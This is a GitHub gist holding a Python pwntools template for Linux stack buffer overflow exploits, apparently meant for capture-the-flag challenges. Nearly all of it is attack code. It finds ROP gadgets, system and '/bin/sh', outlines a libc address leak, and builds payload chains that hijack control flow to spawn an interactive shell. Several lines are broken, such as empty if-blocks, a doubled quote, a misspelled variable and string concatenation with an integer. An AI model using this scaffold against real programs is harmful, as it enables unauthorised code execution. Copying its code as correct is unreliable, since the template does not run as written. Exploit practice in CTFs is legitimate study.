Skip to content

Instantly share code, notes, and snippets.

@Reelix
Last active August 9, 2022 21:42
Show Gist options
  • Save Reelix/b140cdcb7c86d09bce1fdba2e980f1bc to your computer and use it in GitHub Desktop.
Save Reelix/b140cdcb7c86d09bce1fdba2e980f1bc to your computer and use it in GitHub Desktop.
Reelix's Buffer Overflow Template (Linux)
from pwn import *
### Change These ###
file_name = "./file.elf"
offset_loc = 48 # Buffer Overflow Val -> cyclic_find(b'kaaalaaa', n=4) # Buffer Overflow Val = RBP
isremote = True # Local or SSH?
### Uncomment + Change if local ###
# libc = ELF(''/lib/x86_64-linux-gnu/libc-2.27.so') # gdb ./file -> break main -> run -> info proc map
### Uncomment + Change if remote ###
# sshHost = "127.0.0.1"
# sshUsername = "reelix"
# sshPassword = "password"
# sshPort = 22
if isremote:
# Remote - Pick what you need
#p = ssh(host=sshHost,user=sshUsername,password=sshPassword,port=sshPort)
#p = remote.process(file_name)
#p = remote('the.ctf.here',31916)
else:
# Local
libc.address = libc.symbols['__libc_start_main']
p = process(file_name)
elf = ELF(file_name)
rop = ROP(file_name)
offset = b'A' * (offset_loc)
payload = offset
# Comment out what breaks
main = next(elf.search(b'main')) # Might not work
system = elf.plt['system']
print("system: " + str(hex(system)))
ret = (rop.find_gadget(['ret']))[0]
print("ret: " + str(hex(ret)))
syscall = (rop.find_gadget(['syscall']))[0]
print("syscall: " + str(hex(syscall)))
bin_sh = next(elf.search(b'/bin/sh'))
print("bin_sh: " + str(hex(bin_sh)))
pop_rax = (rop.find_gadget(['pop rax', 'ret']))[0]
print("pop_rax: " + str(hex(pop_rax)))
pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
print("pop_rdi: " + str(hex(pop_rdi)))
pop_rsi = (rop.find_gadget(['pop rsi', 'ret']))[0]
print("pop_rsi: " + str(hex(pop_rsi)))
pop_rdx = (rop.find_gadget(['pop rdx', 'ret']))[0]
print("pop_rdx: " + str(hex(pop_rdx)))
# If you must return to a specific function
custom_func = elf.symbols['custom_func']
print("Custom func: " + custom_func)
if not isremote:
system = libc.symbols['system']
print("system: " + str(hex(system)))
else:
# Leaking a remote libc address if a libc is provided
# rop1 = ROP(elf)
# rop1.search(regs=['rdi'], order='regs')
# rop1.puts(elf.got['puts'])
# rop1.call(elf.symbols['main'])
# p.recv....
# p.payload += rop1.chain()
# libc_puts = u64(t.recvline().strip().ljust(8, b'\0'))
# log.success('Leaked libc puts: ' + hex(libc_puts))
# Pick one:
# payload += p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(bin_sh) + p64(pop_rsi) + p64(0x0) + p64(pop_rdx) + p64(0x0) + p64(syscall)
# payload += p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
# payload += p64(ret) + p64(custom_func) OR payload += p64(custom_func) # Not sure why sometimes one or the other...
# p.clean() # before and after interactives
# p.sendline("2") # If manual input is required first
p.recvuntil(b'app?')
p.sendline(payload)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment